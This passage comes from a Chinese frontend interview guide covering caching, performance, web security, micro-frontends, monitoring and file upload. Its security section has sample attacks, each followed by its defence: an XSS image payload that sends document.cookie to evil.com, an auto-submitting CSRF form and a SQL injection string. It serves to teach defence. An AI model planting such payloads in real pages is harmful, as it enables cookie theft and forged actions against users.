Memory Cache 内存 会话期间
Disk Cache 磁盘 根据 HTTP 头
Push Cache HTTP/2 连接 连接期间

localStorage/sessionStorage

javascript 复制代码
// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
  const item = {
    value,
    expiry: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
  const itemStr = localStorage.getItem(key);
  if (!itemStr) return null;
  
  const item = JSON.parse(itemStr);
  if (Date.now() > item.expiry) {
    localStorage.removeItem(key);
    return null;
  }
  return item.value;
}

67. 首屏优化

策略

策略 说明
SSR/SSG 服务端渲染/静态生成
代码分割 只加载首屏代码
内联关键 CSS 将首屏样式内联到 HTML
骨架屏 首屏占位
预渲染 构建时生成静态 HTML
资源优先级 preload/prefetch

骨架屏示例

html 复制代码
<template>
  <div class="skeleton">
    <div class="skeleton-header"></div>
    <div class="skeleton-content">
      <div class="skeleton-line" v-for="i in 5" :key="i"></div>
    </div>
    <div class="skeleton-footer"></div>
  </div>
</template>

<style scoped>
.skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: 200% 0; }
  100% { background-position: -200% 0; }
}
</style>

68. 白屏优化

策略

策略 说明
内联关键 JS 将初始化逻辑内联到 HTML
异步加载脚本 async/defer 加载
首屏直出 SSR 或预渲染
容错处理 JS 加载失败时的降级方案
预加载字体 避免字体闪烁

代码示例

html 复制代码
<!DOCTYPE html>
<html>
<head>
  <style>
    /* 内联关键 CSS */
    .loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
    .spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>
  <div id="app">
    <div class="loading">
      <div class="spinner"></div>
      <p>加载中...</p>
    </div>
  </div>
  
  <script defer src="/js/app.js"></script>
</body>
</html>

69. 多维度性能优化策略有哪些?

Lighthouse 评分维度

维度 指标 目标值
性能 FCP(首次内容绘制) < 1.8s
性能 LCP(最大内容绘制) < 2.5s
性能 FID(首次输入延迟) < 100ms
性能 CLS(累积布局偏移) < 0.1
性能 TTI(可交互时间) < 3.8s
性能 TBT(总阻塞时间) < 200ms

优化路线图

markdown 复制代码
1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标

七、安全策略

70. 前端安全

安全原则

  • 最小权限:只授予必要的权限
  • 纵深防御:多层防护
  • 不信任用户输入:所有输入都应验证和转义
  • 安全默认:默认开启安全策略

71. XSS 攻击

定义

XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。

攻击类型

类型 说明 示例
存储型 XSS 恶意脚本存储在服务器 评论中注入 <script> 标签
反射型 XSS 通过 URL 参数传递 搜索框:?q=<script>alert(1)</script>
DOM 型 XSS 通过前端 JS 操作 DOM innerHTML = userInput

攻击示例

javascript 复制代码
// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
  <img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;

// 如果后端没过滤,前端没转义
<div class="comment">
  ${userInput} // 恶意脚本执行
</div>

// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!

72. XSS 防御

防御策略

策略 说明 实现
输入过滤 验证和过滤用户输入 白名单验证、特殊字符转义
输出编码 输出时转义特殊字符 HTML 实体编码
CSP 内容安全策略 设置 HTTP 头
HttpOnly 禁止 JS 访问 Cookie Set-Cookie: HttpOnly
框架防护 框架自动转义 Vue/React 默认转义

代码实现

javascript 复制代码
// HTML 转义函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, s => map[s]);
}

// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// &lt;script&gt;alert(1)&lt;/script&gt;

// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Vue/React 的安全特性

html 复制代码
<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
jsx 复制代码
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}

73. CSRF 攻击

定义

CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。

攻击原理

  1. 用户登录目标网站,获得 Cookie
  2. 用户访问恶意网站
  3. 恶意网站发送请求到目标网站
  4. 浏览器自动携带 Cookie,请求成功

攻击示例

html 复制代码
<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

74. CSRF 防御

防御策略

策略 说明 实现
CSRF Token 请求携带随机 Token 表单/请求头携带 Token
SameSite Cookie 限制 Cookie 跨站发送 Set-Cookie: SameSite=Strict
验证 Referer 检查请求来源 服务端验证 Referer 头
自定义请求头 要求携带自定义头 X-Requested-With

代码实现

javascript 复制代码
// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">

// 前端携带 Token
axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

// 后端验证
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 处理转账
});

// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

75. SQL 注入

定义

攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。

攻击示例

javascript 复制代码
// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);

76. 点击劫持

定义

攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。

防御

javascript 复制代码
// X-Frame-Options 头
X-Frame-Options: DENY          // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN    // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名

// JS 防护
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

77. 中间人攻击(MITM)

定义

攻击者在通信双方之间拦截、篡改或伪造数据。

防御

  • 使用 HTTPS 加密传输
  • HSTS(HTTP Strict Transport Security)
  • 证书锁定(Certificate Pinning)
  • 避免使用公共 WiFi 传输敏感信息

78. 内容安全策略(CSP)

定义

CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。

配置

http 复制代码
# 基本配置
Content-Security-Policy: default-src 'self'

# 允许特定域名
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

指令说明

指令 说明
default-src 默认策略
script-src 脚本来源
style-src 样式来源
img-src 图片来源
font-src 字体来源
connect-src 连接来源(fetch、WebSocket)
frame-ancestors 允许嵌入的父页面
form-action 允许的表单提交地址

79. HTTPS

定义

HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。

优势

  • 数据加密:防止数据被窃听
  • 身份认证:防止中间人攻击
  • 数据完整性:防止数据被篡改

混合内容问题

html 复制代码
<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>

<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">

<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>

<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

80. 安全头配置

常用安全头

头部 说明
Content-Security-Policy 各种指令 内容安全策略
X-Content-Type-Options nosniff 禁止 MIME 嗅探
X-Frame-Options DENY/SAMEORIGIN 防止点击劫持
X-XSS-Protection 1; mode=block XSS 过滤器(已废弃)
Strict-Transport-Security max-age=31536000 HSTS
Referrer-Policy no-referrer 控制 Referer 信息
Permissions-Policy 各种权限 控制浏览器功能访问

Nginx 配置

nginx 复制代码
server {
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段

前端安全核心理念

  1. 所有用户输入都是不可信的:必须验证、过滤、转义
  2. 纵深防御:不依赖单一防护手段
  3. 安全默认:默认开启最严格的策略
  4. 最小权限:只开放必要的功能和接口

攻击与防御矩阵

攻击类型 原理 防御手段
XSS 注入恶意脚本 输入过滤、输出编码、CSP、HttpOnly
CSRF 伪造用户请求 CSRF Token、SameSite Cookie、Referer 验证
SQL 注入 注入恶意 SQL 参数化查询、ORM
点击劫持 iframe 覆盖 X-Frame-Options、CSP frame-ancestors
中间人攻击 拦截通信 HTTPS、HSTS

八、微前端架构

82. 微前端

定义

微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。

核心特征

  • 技术栈无关:各子应用可以使用不同框架
  • 独立部署:子应用可以独立发布
  • 增量升级:逐步迁移,无需重写全部代码
  • 团队自治:不同团队独立开发

83. 微前端架构是什么?

架构模式

css 复制代码
┌─────────────────────────────────────────┐
│              基座应用 (Shell)              │
│  ┌───────────────────────────────────┐  │
│  │          路由分发层                  │  │
│  └───────────────────────────────────┘  │
│  ┌────────┐ ┌────────┐ ┌────────┐       │
│  │ 子应用A │ │ 子应用B │ │ 子应用C │       │
│  │ React  │ │ Vue    │ │ Angular│       │
│  └────────┘ └────────┘ └────────┘       │
└─────────────────────────────────────────┘

适用场景

  • 大型项目、多团队协作
  • 历史遗留系统逐步迁移
  • 需要独立部署的功能模块

84. 微前端实现方案

方案对比

方案 原理 优点 缺点
iframe 原生 iframe 嵌入 简单、完全隔离 通信困难、性能差、URL 不同步
Web Components 自定义元素标准 标准化、组件化 兼容性、样式穿透困难
single-spa JS 沙箱 + 路由分发 轻量、灵活 需要手动处理隔离
qiankun single-spa 封装 开箱即用、样式/JS 隔离 有一定学习成本
Module Federation Webpack5 原生 模块级共享、性能好 仅 Webpack5

85. iframe 方案

实现

html 复制代码
<!-- 基座应用 -->
<div id="micro-app-container">
  <iframe 
    src="http://app-a.example.com" 
    id="app-a"
    sandbox="allow-scripts allow-same-origin allow-forms"
  ></iframe>
</div>

<style>
#micro-app-container iframe {
  width: 100%;
  height: 100vh;
  border: none;
}
</style>

通信方案

javascript 复制代码
// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');

// 子应用
window.addEventListener('message', (e) => {
  if (e.data.type === 'SET_TOKEN') {
    localStorage.setItem('token', e.data.data);
  }
});

86. Web Components

实现

javascript 复制代码
// 定义组件
class MicroAppComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }
  
  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: block; }
        h1 { color: #333; }
      </style>
      <h1>微前端应用</h1>
    `;
  }
  
  disconnectedCallback() {
    // 清理
  }
}

customElements.define('micro-app', MicroAppComponent);

// 使用
<micro-app></micro-app>

87. single-spa

实现

javascript 复制代码
import { registerApplication, start } from 'single-spa';

// 注册子应用
registerApplication({
  name: 'app-a',
  app: () => import('http://app-a.example.com/main.js'),
  activeWhen: ['/app-a']
});

registerApplication({
  name: 'app-b',
  app: () => import('http://app-b.example.com/main.js'),
  activeWhen: ['/app-b']
});

start();

子应用生命周期

javascript 复制代码
export async function bootstrap(props) {
  console.log('子应用 bootstrap');
}

export async function mount(props) {
  console.log('子应用 mount');
  // 渲染应用
}

export async function unmount(props) {
  console.log('子应用 unmount');
  // 清理资源
}

88. qiankun

基座应用配置

javascript 复制代码
import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'app-vue',
    entry: '//localhost:8081',
    container: '#container',
    activeRule: '/app-vue',
    props: { token: 'xxx' }
  },
  {
    name: 'app-react',
    entry: '//localhost:8082',
    container: '#container',
    activeRule: '/app-react'
  }
]);

start({
  sandbox: { strictStyleIsolation: true },
  prefetch: true
});

子应用配置(Vue)

javascript 复制代码
// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';

let instance = null;

function render(props = {}) {
  const { container } = props;
  instance = new Vue({
    router,
    store,
    render: h => h(App)
  }).$mount(container ? container.querySelector('#app') : '#app');
}

if (!window.__POWERED_BY_QIANKUN__) {
  render();
}

export async function bootstrap() {}

export async function mount(props) {
  render(props);
}

export async function unmount() {
  instance.$destroy();
  instance = null;
}

89. Module Federation

配置

javascript 复制代码
// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'host',
      remotes: {
        appA: 'appA@http://localhost:3001/remoteEntry.js',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 子应用 webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'appA',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 使用
const AppA = React.lazy(() => import('appA/App'));

90. 微前端通信

通信方案

方案 适用场景
props 传递 基座向子应用传递数据
自定义事件 子应用间解耦通信
全局状态 跨应用共享状态
localStorage 简单数据持久化
URL 参数 路由参数传递

代码实现

javascript 复制代码
// 全局状态方案
class MicroAppState {
  constructor() {
    this.state = {};
    this.listeners = {};
  }
  
  set(key, value) {
    this.state[key] = value;
    if (this.listeners[key]) {
      this.listeners[key].forEach(fn => fn(value));
    }
  }
  
  get(key) {
    return this.state[key];
  }
  
  on(key, fn) {
    if (!this.listeners[key]) this.listeners[key] = [];
    this.listeners[key].push(fn);
  }
}

export const globalState = new MicroAppState();

// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
  console.log('用户信息变更:', user);
});

91. 微前端样式隔离

方案对比

方案 说明 优缺点
Shadow DOM 浏览器原生隔离 完全隔离,但穿透困难
CSS Scoped 添加唯一前缀 实现简单,性能较好
CSS Modules 类名哈希化 工程化支持好
动态样式 挂载时添加,卸载时移除 简单有效

qiankun 样式隔离

javascript 复制代码
start({
  sandbox: {
    strictStyleIsolation: true,  // Shadow DOM
    experimentalStyleIsolation: true  // 动态 scoped
  }
});

// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]

92. 微前端状态共享

方案

javascript 复制代码
// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';

class SharedState {
  constructor() {
    this.subjects = {};
  }
  
  get(key, defaultValue) {
    if (!this.subjects[key]) {
      this.subjects[key] = new BehaviorSubject(defaultValue);
    }
    return this.subjects[key];
  }
  
  set(key, value) {
    this.get(key).next(value);
  }
}

export const sharedState = new SharedState();

// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });

// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
  console.log('当前用户:', user);
});

93. 微前端部署

部署方案

方案 说明
独立部署 每个子应用独立部署到不同服务器
统一构建 主应用和子应用统一构建后部署
CDN 部署 子应用部署到 CDN,基座引用 CDN 地址
Docker 容器化 每个子应用独立容器

CI/CD 流程

css 复制代码
┌─────────┐    ┌─────────┐    ┌─────────┐
│ 子应用A  │    │ 子应用B  │    │ 子应用C  │
│  独立CI  │    │  独立CI  │    │  独立CI  │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     ▼              ▼              ▼
┌─────────────────────────────────────────┐
│              CDN / 静态服务器               │
└─────────────────────────────────────────┘
                     ▲
                     │
┌─────────────────────────────────────────┐
│            基座应用(引用子应用地址)          │
│            独立部署、独立版本控制              │
└─────────────────────────────────────────┘

九、监控体系

94. 监控体系包括哪些? / 前端监控体系包括哪些内容?

前端监控体系组成

维度 内容 说明
性能监控 页面加载、渲染、交互性能 FCP、LCP、FID、CLS 等
错误监控 JS 错误、资源加载错误、接口错误 try-catch、window.onerror
用户行为 页面访问、点击、转化漏斗 埋点、PV/UV
业务监控 业务指标、转化率 订单量、注册量
安全监控 XSS 攻击、异常请求 CSP 报告、异常请求分析

95. 前端监控的实现(错误收集、性能监控)

错误收集

javascript 复制代码
// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
  reportError({
    type: 'js-error',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno,
    colno: e.colno,
    stack: e.error?.stack
  });
}, true);

// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
  reportError({
    type: 'promise-error',
    message: e.reason?.message || String(e.reason),
    stack: e.reason?.stack
  });
});

// 3. 资源加载错误
window.addEventListener('error', (e) => {
  if (e.target !== window) {
    reportError({
      type: 'resource-error',
      tagName: e.target.tagName,
      src: e.target.src || e.target.href
    });
  }
}, true);

// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
  reportError({
    type: 'vue-error',
    message: err.message,
    component: instance?.$options?.name,
    info
  });
};

// 5. React 错误边界
class ErrorBoundary extends React.Component {
  componentDidCatch(error, errorInfo) {
    reportError({
      type: 'react-error',
      message: error.message,
      componentStack: errorInfo.componentStack
    });
  }
  
  render() {
    return this.props.children;
  }
}

性能监控

javascript 复制代码
// Performance API
function collectPerformanceMetrics() {
  const navigation = performance.getEntriesByType('navigation')[0];
  const paint = performance.getEntriesByType('paint');
  
  return {
    // 导航计时
    dns: navigation.domainLookupEnd - navigation.domainLookupStart,
    tcp: navigation.connectEnd - navigation.connectStart,
    ttfb: navigation.responseStart - navigation.requestStart,
    download: navigation.responseEnd - navigation.responseStart,
    
    // 渲染计时
    fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
    
    // 页面可用
    domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
    load: navigation.loadEventEnd - navigation.startTime
  };
}

// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);

function reportMetric(metric) {
  sendToAnalytics({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    rating: metric.rating
  });
}

96. 如何实现前端埋点监控系统?

埋点类型

类型 说明 实现
页面浏览(PV) 记录页面访问 路由变化监听
用户行为 点击、滚动、输入 事件委托
自定义事件 业务事件 手动调用
性能数据 页面性能 Performance API
错误数据 运行时错误 全局监听

埋点系统实现

javascript 复制代码
class Tracker {
  constructor(options) {
    this.appId = options.appId;
    this.userId = options.userId;
    this.queue = [];
    this.batchSize = options.batchSize || 10;
    this.flushInterval = options.flushInterval || 5000;
    this.apiEndpoint = options.apiEndpoint;
    
    this.startAutoFlush();
  }
  
  // 页面浏览
  trackPageView(pageName, properties = {}) {
    this.track('page_view', { page_name: pageName, ...properties });
  }
  
  // 自定义事件
  trackEvent(eventName, properties = {}) {
    this.track(eventName, properties);
  }
  
  // 核心方法
  track(event, properties = {}) {
    const data = {
      event,
      properties,
      user_id: this.userId,
      app_id: this.appId,
      timestamp: Date.now(),
      url: location.href,
      referrer: document.referrer,
      user_agent: navigator.userAgent,
      screen: `${screen.width}x${screen.height}`
    };
    
    this.queue.push(data);
    
    if (this.queue.length >= this.batchSize) {
      this.flush();
    }
  }
  
  // 批量上报
  async flush() {
    if (this.queue.length === 0) return;
    
    const data = this.queue.splice(0, this.batchSize);
    
    try {
      await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
    } catch (e) {
      // 降级为图片请求
      new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
    }
  }
  
  startAutoFlush() {
    setInterval(() => this.flush(), this.flushInterval);
  }
}

// 自动 PV 追踪
function trackPageView(tracker) {
  const originalPushState = history.pushState;
  history.pushState = function(...args) {
    originalPushState.apply(this, args);
    tracker.trackPageView(location.pathname);
  };
  
  window.addEventListener('popstate', () => {
    tracker.trackPageView(location.pathname);
  });
  
  // 初始页面
  tracker.trackPageView(location.pathname);
}

// 使用
const tracker = new Tracker({
  appId: 'my-app',
  userId: getUserId(),
  apiEndpoint: '/api/track'
});

trackPageView(tracker);

// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
  tracker.trackEvent('form_submit', { form_id: 'login-form' });
});

97. 性能监控

关键指标

指标 说明 目标
FCP 首次内容绘制 < 1.8s
LCP 最大内容绘制 < 2.5s
FID 首次输入延迟 < 100ms
CLS 累积布局偏移 < 0.1
TTI 可交互时间 < 3.8s

实时监控

javascript 复制代码
// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime}ms`);
    reportToServer(entry.name, entry.startTime);
  }
});

observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', entry.duration, 'ms');
  }
});
longTaskObserver.observe({ type: 'longtask', buffered: true });

十、工程实践

98. 大文件上传如何实现?

问题拆解

维度 问题 方案
传输 大文件传输慢 分片上传
可靠性 网络中断导致失败 断点续传
效率 重复上传相同文件 秒传(哈希去重)
进度 用户不知道进度 进度条反馈
并发 提高上传速度 并发上传

实现步骤

markdown 复制代码
1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分

代码实现

javascript 复制代码
class FileUploader {
  constructor(options) {
    this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
    this.concurrent = options.concurrent || 3;
    this.onProgress = options.onProgress;
  }
  
  // 计算文件哈希
  async calculateHash(file) {
    return new Promise((resolve) => {
      const spark = new SparkMD5.ArrayBuffer();
      const reader = new FileReader();
      const chunks = this.sliceFile(file);
      let index = 0;
      
      const loadNext = () => {
        if (index >= chunks.length) {
          resolve(spark.end());
          return;
        }
        reader.readAsArrayBuffer(chunks[index++]);
      };
      
      reader.onload = (e) => {
        spark.append(e.target.result);
        loadNext();
      };
      
      loadNext();
    });
  }
  
  // 切片
  sliceFile(file) {
    const chunks = [];
    let start = 0;
    while (start < file.size) {
      chunks.push(file.slice(start, start + this.chunkSize));
      start += this.chunkSize;
    }
    return chunks;
  }
  
  // 上传单个分片
  async uploadChunk(chunk, index, hash, fileName) {
    const formData = new FormData();
    formData.append('chunk', chunk);
    formData.append('index', index);
    formData.append('hash', hash);
    formData.append('fileName', fileName);
    
    return fetch('/api/upload/chunk', {
      method: 'POST',
      body: formData
    });
  }
  
  // 并发控制
  async concurrentUpload(tasks, limit) {
    const results = [];
    let index = 0;
    
    const worker = async () => {
      while (index < tasks.length) {
        const taskIndex = index++;
        results[taskIndex] = await tasks[taskIndex]();
      }
    };
    
    const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
    await Promise.all(workers);
    return results;
  }
  
  // 主流程
  async upload(file) {
    const hash = await this.calculateHash(file);
    
    // 1. 检查秒传
    const checkRes = await fetch('/api/upload/check', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name })
    });
    const checkData = await checkRes.json();
    
    if (checkData.exist) {
      this.onProgress?.(100);
      return { status: 'exists', url: checkData.url };
    }
    
    // 2. 获取已上传的分片(断点续传)
    const uploadedChunks = checkData.uploaded || [];
    
    // 3. 切片
    const chunks = this.sliceFile(file);
    
    // 4. 过滤未上传的分片
    const tasks = chunks
      .map((chunk, index) => ({ chunk, index }))
      .filter(({ index }) => !uploadedChunks.includes(index))
      .map(({ chunk, index }) => () => 
        this.uploadChunk(chunk, index, hash, file.name)
      );
    
    // 5. 并发上传
    let completed = uploadedChunks.length;
    const total = chunks.length;
    
    const wrappedTasks = tasks.map(task => async () => {
      const result = await task();
      completed++;
      this.onProgress?.(Math.round((completed / total) * 100));
      return result;
    });
    
    await this.concurrentUpload(wrappedTasks, this.concurrent);
    
    // 6. 合并分片
    return fetch('/api/upload/merge', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
    });
  }
}

// 使用
const uploader = new FileUploader({
  chunkSize: 2 * 1024 * 1024,
  concurrent: 3,
  onProgress: (percent) => {
    console.log(`上传进度: ${percent}%`);
    document.getElementById('progress').style.width = `${percent}%`;
  }
});

document.getElementById('file-input').addEventListener('change', async (e) => {
  const file = e.target.files[0];
  const result = await uploader.upload(file);
  console.log('上传结果:', result);
});

99. 如何实现权限控制系统?

权限模型

模型 说明 适用场景
RBAC 基于角色的权限控制 通用场景
ABAC 基于属性的权限控制 细粒度控制
ACL 访问控制列表 简单权限

RBAC 实现

scss 复制代码
用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)

前端权限控制方案

维度 方案
菜单权限 动态路由、菜单过滤
按钮权限 自定义指令、组件
接口权限 请求拦截、后端校验
数据权限 数据过滤、行级权限

动态路由权限控制

javascript 复制代码
// 路由配置
const asyncRoutes = [
  {
    path: '/admin',
    component: () => import('@/layouts/AdminLayout.vue'),
    meta: { roles: ['admin'] },
    children: [
      {
        path: 'users',
        component: () => import('@/pages/admin/Users.vue'),
        meta: { roles: ['admin'] }
      },
      {
        path: 'roles',
        component: () => import('@/pages/admin/Roles.vue'),
        meta: { roles: ['admin', 'manager'] }
      }
    ]
  },
  {
    path: '/dashboard',
    component: () => import('@/pages/Dashboard.vue'),
    meta: { roles: ['admin', 'user', 'manager'] }
  }
];

// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
  return routes.filter(route => {
    if (route.meta?.roles) {
      const hasPermission = route.meta.roles.some(role => 
        userRoles.includes(role)
      );
      if (!hasPermission) return false;
    }
    
    if (route.children) {
      route.children = filterRoutesByRoles(route.children, userRoles);
    }
    
    return true;
  });
}

// 路由守卫
router.beforeEach(async (to, from, next) => {
  const userStore = useUserStore();
  
  if (!userStore.token) {
    if (to.path === '/login') {
      next();
    } else {
      next(`/login?redirect=${to.path}`);
    }
    return;
  }
  
  // 获取用户信息和权限
  if (!userStore.roles.length) {
    await userStore.fetchUserInfo();
    
    // 动态添加路由
    const accessibleRoutes = filterRoutesByRoutes(
      asyncRoutes, 
      userStore.roles
    );
    
    accessibleRoutes.forEach(route => {
      router.addRoute(route);
    });
    
    // 重新导航
    next({ ...to, replace: true });
    return;
  }
  
  next();
});

按钮权限控制

html 复制代码
<!-- 权限指令 -->
const permission = {
  mounted(el, binding) {
    const { value } = binding;
    const userPermissions = useUserStore().permissions;
    
    if (value && !userPermissions.includes(value)) {
      el.parentNode?.removeChild(el);
    }
  }
};

app.directive('permission', permission);

<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>

权限组件

html 复制代码
<template>
  <slot v-if="hasPermission"></slot>
</template>

<script>
export default {
  props: {
    permission: { type: String, required: true }
  },
  computed: {
    hasPermission() {
      return useUserStore().permissions.includes(this.permission);
    }
  }
}
</script>

<!-- 使用 -->
<Permission permission="user:delete">
  <button>删除用户</button>
</Permission>

100. 如何实现服务端渲染 (SSR)?

定义

服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。

优势

  • SEO 友好:搜索引擎可以抓取完整内容
  • 首屏加载快:无需等待 JS 下载执行
  • 用户体验好:减少白屏时间

Vue SSR 实现

javascript 复制代码
// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';

const app = express();

app.get('*', async (req, res) => {
  const vueApp = createSSRApp(App);
  
  // 传递初始数据
  vueApp.provide('initialData', { user: '张三' });
  
  const html = await renderToString(vueApp);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="app">${html}</div>
        <script>
          window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
        </script>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

